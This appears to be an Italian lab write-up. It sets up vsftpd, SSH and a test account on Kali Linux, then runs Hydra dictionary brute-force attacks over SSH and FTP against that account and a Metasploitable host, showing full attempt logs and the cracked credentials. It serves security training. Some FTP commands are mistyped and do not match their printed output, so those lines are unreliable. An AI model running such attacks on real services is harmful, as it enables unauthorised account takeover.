

1) Installazione Seclists e aggiornamento di Kali

```
(davide@kali)-[~]
└─$ sudo apt-get update
Scaricamento di:1 http://www.inetsim.org/debian binary/ InRelease [2.244 B]
Errore:1 http://www.inetsim.org/debian binary/ InRelease
Le seguenti firme non sono state verificate perché la chiave pubblica non è disponibile: NO_PUBKEY F1446B68CB0268
96
Scaricamento di:2 http://kali.download/kali kali-rolling InRelease [41,2 kB]
Scaricamento di:3 http://kali.download/kali kali-rolling/main amd64 Packages [19,3 MB]
Scaricamento di:4 http://kali.download/kali kali-rolling/main amd64 Contents (deb) [44,7 MB]
Scaricamento di:5 http://kali.download/kali kali-rolling/contrib amd64 Packages [115 kB]
Scaricamento di:6 http://kali.download/kali kali-rolling/contrib amd64 Contents (deb) [172 kB]
Scaricamento di:7 http://kali.download/kali kali-rolling/non-free amd64 Packages [217 kB]
Scaricamento di:8 http://kali.download/kali kali-rolling/non-free amd64 Contents (deb) [928 kB]
Lettura elenco dei pacchetti... Fatto
W: Errore GPG: http://www.inetsim.org/debian binary/ InRelease: Le seguenti firme non sono state verificate perché
la chiave pubblica non è disponibile: NO_PUBKEY F1446B68CB026896
E: Il repository "http://www.inetsim.org/debian binary/ InRelease" non è firmato.
N: L'aggiornamento da tale repository non può essere eseguito in modo sicuro ed è quindi disabilitato come impostaz
ione predefinita.
N: Consultare la pagina man apt-secure(8) per la creazione di un repository e la configurazione utente.

(davide@kali)-[~]
└─$ sudo apt install seclists
Lettura elenco dei pacchetti... Fatto
Generazione albero delle dipendenze... Fatto
Lettura informazioni sullo stato... Fatto
I seguenti pacchetti NUOVI saranno installati:
 seclists
0 aggiornati, 1 installati, 0 da rimuovere e 1515 non aggiornati.
È necessario scaricare 428 MB di archivi.
Dopo quest'operazione, verranno occupati 1.752 MB di spazio su disco.
Scaricamento di:1 http://kali.download/kali kali-rolling/main amd64 seclists all 2023.2-0kali1 [428 MB]
Recuperati 428 MB in 8s (56,1 MB/s)
Selezionato il pacchetto seclists non precedentemente selezionato.
(Lettura del database... 393460 file e directory attualmente installati.)
Preparativi per estrarre .../seclists_2023.2-0kali1_all.deb...
Estrazione di seclists (2023.2-0kali1)...
Configurazione di seclists (2023.2-0kali1)...
Elaborazione dei trigger per kali-menu (2022.4.1)...
```

2) Installazione servizio vsftpd e avvio del servizio

```
(davide@kali)-[~]
└─$ sudo apt install vsftpd
[sudo] password di davide:
Lettura elenco dei pacchetti... Fatto
Generazione albero delle dipendenze... Fatto
Lettura informazioni sullo stato... Fatto
I seguenti pacchetti NUOVI saranno installati:
 vsftpd
0 aggiornati, 1 installati, 0 da rimuovere e 1515 non aggiornati.
È necessario scaricare 142 kB di archivi.
Dopo quest'operazione, verranno occupati 351 kB di spazio su disco.
Scaricamento di:1 http://http.kali.org/kali kali-rolling/main amd64 vsftpd amd64 3.0.3-13+b2 [142 kB]
Recuperati 142 kB in 1s (218 kB/s)
Preconfigurazione dei pacchetti in corso
Selezionato il pacchetto vsftpd non precedentemente selezionato.
(Lettura del database... 399000 file e directory attualmente installati.)
Preparativi per estrarre .../vsftpd_3.0.3-13+b2_amd64.deb...
Estrazione di vsftpd (3.0.3-13+b2)...
Configurazione di vsftpd (3.0.3-13+b2)...
update-rc.d: We have no instructions for the vsftpd init script.
update-rc.d: It looks like a network service, we disable it.
Elaborazione dei trigger per man-db (2.11.0-1+b1)...
Elaborazione dei trigger per kali-menu (2022.4.1)...
```

```
(davide@kali)-[~]
└─$ sudo service vsftpd start
```

3) Aggiunta dell'utente test_user e avvio del servizio ssh

```

(davide@kali)-[~]
$ sudo adduser test_user
[sudo] password di davide:
Aggiunta dell'utente «test_user» ...
Aggiunta del nuovo gruppo «test_user» (1001) ...
Adding new user 'test_user' (1001) with group 'test_user (1001)' ...
Creazione della directory home «/home/test_user» ...
Copia dei file da «/etc/skel» ...
Nuova password:
Reimmettere la nuova password:
passwd: password aggiornata correttamente
Modifica delle informazioni relative all'utente test_user
Inserire il nuovo valore o premere INVIO per quello predefinito
Nome completo []: Davide
Stanza n° []: 2
Numero telefonico di lavoro []:
Numero telefonico di casa []:
Altro []:
Le informazioni sono corrette? [S/n] S
Adding new user 'test_user' to supplemental / extra groups 'users' ...
Aggiunta dell'utente «test_user» al gruppo «users» ...

(davide@kali)-[~]
$ sudo service ssh start

(davide@kali)-[~]
$ ssh test_user@ip_kali
ssh: Could not resolve hostname ip_kali: Temporary failure in name resolution

(davide@kali)-[~]
$ ssh test_user@192.168.50.108
The authenticity of host '192.168.50.108 (192.168.50.108)' can't be established.
ED25519 key fingerprint is SHA256:5BTefL/B/RrIXVELActu+p7j30MS3FmaeVhwSJ+/RLM.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.50.108' (ED25519) to the list of known hosts.
test_user@192.168.50.108's password:
Permission denied, please try again.
test_user@192.168.50.108's password:
Linux kali 6.0.0-kali3-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.0.7-1kali1 (2022-11-07) x86_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

```

4) Attivazione di Hydra per il password cracking del test_user tramite SSH

```

(davide@kali)-[~]
$ hydra -L /usr/share/seclists/Usernames/mssql-usernames-nanish0u-guardicore.txt -P /usr/share/seclists/Passwords/darkweb2017-top10.txt 192.168.50.108 -t4 ssh -V

Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics)

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-05-26 20:18:33
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] attacking ssh://192.168.50.108:22/
[ATTEMPT] target 192.168.50.108 - login 'admin' - pass '123456' - 1 of 121 [child 0] (0/0)
[ATTEMPT] target 192.168.50.108 - login 'admin' - pass '123456789' - 2 of 121 [child 1] (0/0)
[ATTEMPT] target 192.168.50.108 - login 'admin' - pass '111111' - 3 of 121 [child 2] (0/0)
[ATTEMPT] target 192.168.50.108 - login 'admin' - pass 'password' - 4 of 121 [child 3] (0/0)
[ATTEMPT] target 192.168.50.108 - login 'admin' - pass 'qwerty' - 5 of 121 [child 1] (0/0)
[ATTEMPT] target 192.168.50.108 - login 'admin' - pass 'abc123' - 6 of 121 [child 0] (0/0)
[ATTEMPT] target 192.168.50.108 - login 'admin' - pass '12345678' - 7 of 121 [child 2] (0/0)
[ATTEMPT] target 192.168.50.108 - login 'admin' - pass 'password1' - 8 of 121 [child 3] (0/0)
[ATTEMPT] target 192.168.50.108 - login 'admin' - pass '1234567' - 9 of 121 [child 2] (0/0)
[ATTEMPT] target 192.168.50.108 - login 'admin' - pass '123123' - 10 of 121 [child 0] (0/0)
[ATTEMPT] target 192.168.50.108 - login 'admin' - pass 'testpass' - 11 of 121 [child 1] (0/0)
[ATTEMPT] target 192.168.50.108 - login 'bwsa' - pass '123456' - 12 of 121 [child 3] (0/0)
[ATTEMPT] target 192.168.50.108 - login 'bwsa' - pass '123456789' - 13 of 121 [child 0] (0/0)
[ATTEMPT] target 192.168.50.108 - login 'bwsa' - pass '111111' - 14 of 121 [child 2] (0/0)
[ATTEMPT] target 192.168.50.108 - login 'bwsa' - pass 'password' - 15 of 121 [child 1] (0/0)
[ATTEMPT] target 192.168.50.108 - login 'bwsa' - pass 'qwerty' - 16 of 121 [child 3] (0/0)
[ATTEMPT] target 192.168.50.108 - login 'bwsa' - pass 'abc123' - 17 of 121 [child 0] (0/0)
[ATTEMPT] target 192.168.50.108 - login 'bwsa' - pass '12345678' - 18 of 121 [child 2] (0/0)
[ATTEMPT] target 192.168.50.108 - login 'bwsa' - pass 'password1' - 19 of 121 [child 1] (0/0)
[ATTEMPT] target 192.168.50.108 - login 'bwsa' - pass '1234567' - 20 of 121 [child 3] (0/0)
[ATTEMPT] target 192.168.50.108 - login 'bwsa' - pass '123123' - 21 of 121 [child 1] (0/0)
[ATTEMPT] target 192.168.50.108 - login 'bwsa' - pass 'testpass' - 22 of 121 [child 2] (0/0)
[ATTEMPT] target 192.168.50.108 - login 'hbw7' - pass '123456' - 23 of 121 [child 0] (0/0)
[ATTEMPT] target 192.168.50.108 - login 'hbw7' - pass '123456789' - 24 of 121 [child 3] (0/0)
[ATTEMPT] target 192.168.50.108 - login 'hbw7' - pass '111111' - 25 of 121 [child 2] (0/0)
[ATTEMPT] target 192.168.50.108 - login 'hbw7' - pass 'password' - 26 of 121 [child 1] (0/0)
[ATTEMPT] target 192.168.50.108 - login 'hbw7' - pass 'qwerty' - 27 of 121 [child 3] (0/0)
[ATTEMPT] target 192.168.50.108 - login 'hbw7' - pass 'abc123' - 28 of 121 [child 0] (0/0)
[ATTEMPT] target 192.168.50.108 - login 'hbw7' - pass '12345678' - 29 of 121 [child 2] (0/0)

[ATTEMPT] target 192.168.50.108 - login "test_user" - pass "12345678" - 117 of 121 [child 2] (0/0)
[ATTEMPT] target 192.168.50.108 - login "test_user" - pass "password1" - 118 of 121 [child 3] (0/0)
[ATTEMPT] target 192.168.50.108 - login "test_user" - pass "1234567" - 119 of 121 [child 1] (0/0)
[ATTEMPT] target 192.168.50.108 - login "test_user" - pass "123123" - 120 of 121 [child 0] (0/0)
[ATTEMPT] target 192.168.50.108 - login "test_user" - pass "testpass" - 121 of 121 [child 2] (0/0)
[22][ssh] host: 192.168.50.108 login: test_user password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-05-26 20:20:12

```


5) Attivazione di Hydra per il password cracking del test_user tramite FTP

```
(davide@kali:~)$  
$ hydra -l /usr/share/seclists/Usernames/mssql-usernames-nanshu-guardicore.txt -P /usr/share/seclists/Passwords/darkweb2017-top10.txt -t 192.168.50.108 -v ftp  
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-05-26 21:17:22  
[WARNING] Restorefile (you have 10 seconds to abort... (use option -i to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore  
[DATA] max 4 tasks per 1 server, overall 4 tasks, 121 login tries (l:11/p:11), ~31 tries per task  
[DATA] attacking ftp://192.168.50.108:21/  
[ATTEMPT] target 192.168.50.108 - login "admin" - pass "123456" - 1 of 121 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.108 - login "admin" - pass "123456789" - 2 of 121 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.108 - login "admin" - pass "111111" - 3 of 121 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.108 - login "admin" - pass "password" - 4 of 121 [child 3] (0/0)  
[ATTEMPT] target 192.168.50.108 - login "admin" - pass "qwerty" - 5 of 121 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.108 - login "admin" - pass "abc123" - 6 of 121 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.108 - login "admin" - pass "12345678" - 7 of 121 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.108 - login "admin" - pass "password1" - 8 of 121 [child 3] (0/0)  
[ATTEMPT] target 192.168.50.108 - login "admin" - pass "1234567" - 9 of 121 [child 3] (0/0)  
[ATTEMPT] target 192.168.50.108 - login "admin" - pass "123123" - 10 of 121 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.108 - login "admin" - pass "testpass" - 11 of 121 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.108 - login "bwsa" - pass "123456" - 12 of 121 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.108 - login "bwsa" - pass "123456789" - 13 of 121 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.108 - login "bwsa" - pass "111111" - 14 of 121 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.108 - login "bwsa" - pass "password" - 15 of 121 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.108 - login "bwsa" - pass "qwerty" - 16 of 121 [child 3] (0/0)  
[ATTEMPT] target 192.168.50.108 - login "bwsa" - pass "abc123" - 17 of 121 [child 3] (0/0)  
[ATTEMPT] target 192.168.50.108 - login "bwsa" - pass "12345678" - 18 of 121 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.108 - login "bwsa" - pass "password1" - 19 of 121 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.108 - login "bwsa" - pass "1234567" - 20 of 121 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.108 - login "bwsa" - pass "123123" - 21 of 121 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.108 - login "bwsa" - pass "testpass" - 22 of 121 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.108 - login "hbv7" - pass "123456" - 23 of 121 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.108 - login "hbv7" - pass "123456789" - 24 of 121 [child 3] (0/0)  
[ATTEMPT] target 192.168.50.108 - login "wwo" - pass "password1" - 107 of 121 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.108 - login "wwo" - pass "1234567" - 108 of 121 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.108 - login "wwo" - pass "123123" - 109 of 121 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.108 - login "wwo" - pass "testpass" - 110 of 121 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.108 - login "test_user" - pass "123456" - 111 of 121 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.108 - login "test_user" - pass "123456789" - 112 of 121 [child 3] (0/0)  
[ATTEMPT] target 192.168.50.108 - login "test_user" - pass "111111" - 113 of 121 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.108 - login "test_user" - pass "password" - 114 of 121 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.108 - login "test_user" - pass "qwerty" - 115 of 121 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.108 - login "test_user" - pass "abc123" - 116 of 121 [child 3] (0/0)  
[ATTEMPT] target 192.168.50.108 - login "test_user" - pass "12345678" - 117 of 121 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.108 - login "test_user" - pass "password1" - 118 of 121 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.108 - login "test_user" - pass "1234567" - 119 of 121 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.108 - login "test_user" - pass "123123" - 120 of 121 [child 3] (0/0)  
[ATTEMPT] target 192.168.50.108 - login "test_user" - pass "testpass" - 121 of 121 [child 2] (0/0)  
[21][ftp] host: 192.168.50.108 login: test_user password: testpass  
1 of 1 target successfully completed, 1 valid password found  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-05-26 21:19:08
```

6) Bonus: Password cracking - tramite Hydra su Metasploitable – servizio FTP

```
(davide@kali:~)$  
$ sudo service vsftpd start  
(sudo) password di davide:  
(davide@kali:~)$  
$ hydra -l /usr/share/seclists/Usernames/mssql-usernames-nanshu-guardicore.txt -P /usr/share/seclists/Passwords/darkweb2017-top10.txt -t 192.168.50.101 -v ftp  
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-05-29 19:18:58  
[WARNING] Restorefile (you have 10 seconds to abort... (use option -i to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore  
[DATA] max 4 tasks per 1 server, overall 4 tasks, 144 login tries (l:12/p:12), ~36 tries per task  
[DATA] attacking ftp://192.168.50.101:21/  
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "123456" - 1 of 144 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "123456789" - 2 of 144 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "111111" - 3 of 144 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "password" - 4 of 144 [child 3] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "qwerty" - 5 of 144 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "abc123" - 6 of 144 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "12345678" - 7 of 144 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "password1" - 8 of 144 [child 3] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "1234567" - 9 of 144 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "123123" - 10 of 144 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "testpass" - 11 of 144 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "admin" - pass "msfadmin" - 12 of 144 [child 3] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "bwsa" - pass "123456" - 13 of 144 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "bwsa" - pass "123456789" - 14 of 144 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "bwsa" - pass "111111" - 15 of 144 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "bwsa" - pass "password" - 16 of 144 [child 3] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "abc123" - 138 of 144 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "12345678" - 139 of 144 [child 1] (0/0)  
[STATUS] 69.50 tries/min, 139 tries in 00:02h, 5 to do in 00:01h, 4 active  
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "password1" - 140 of 144 [child 0] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "1234567" - 141 of 144 [child 2] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "123123" - 142 of 144 [child 3] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "testpass" - 143 of 144 [child 1] (0/0)  
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "msfadmin" - 144 of 144 [child 0] (0/0)  
[21][ftp] host: 192.168.50.101 login: msfadmin password: msfadmin  
1 of 1 target successfully completed, 1 valid password found  
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2023-05-29 19:21:13
```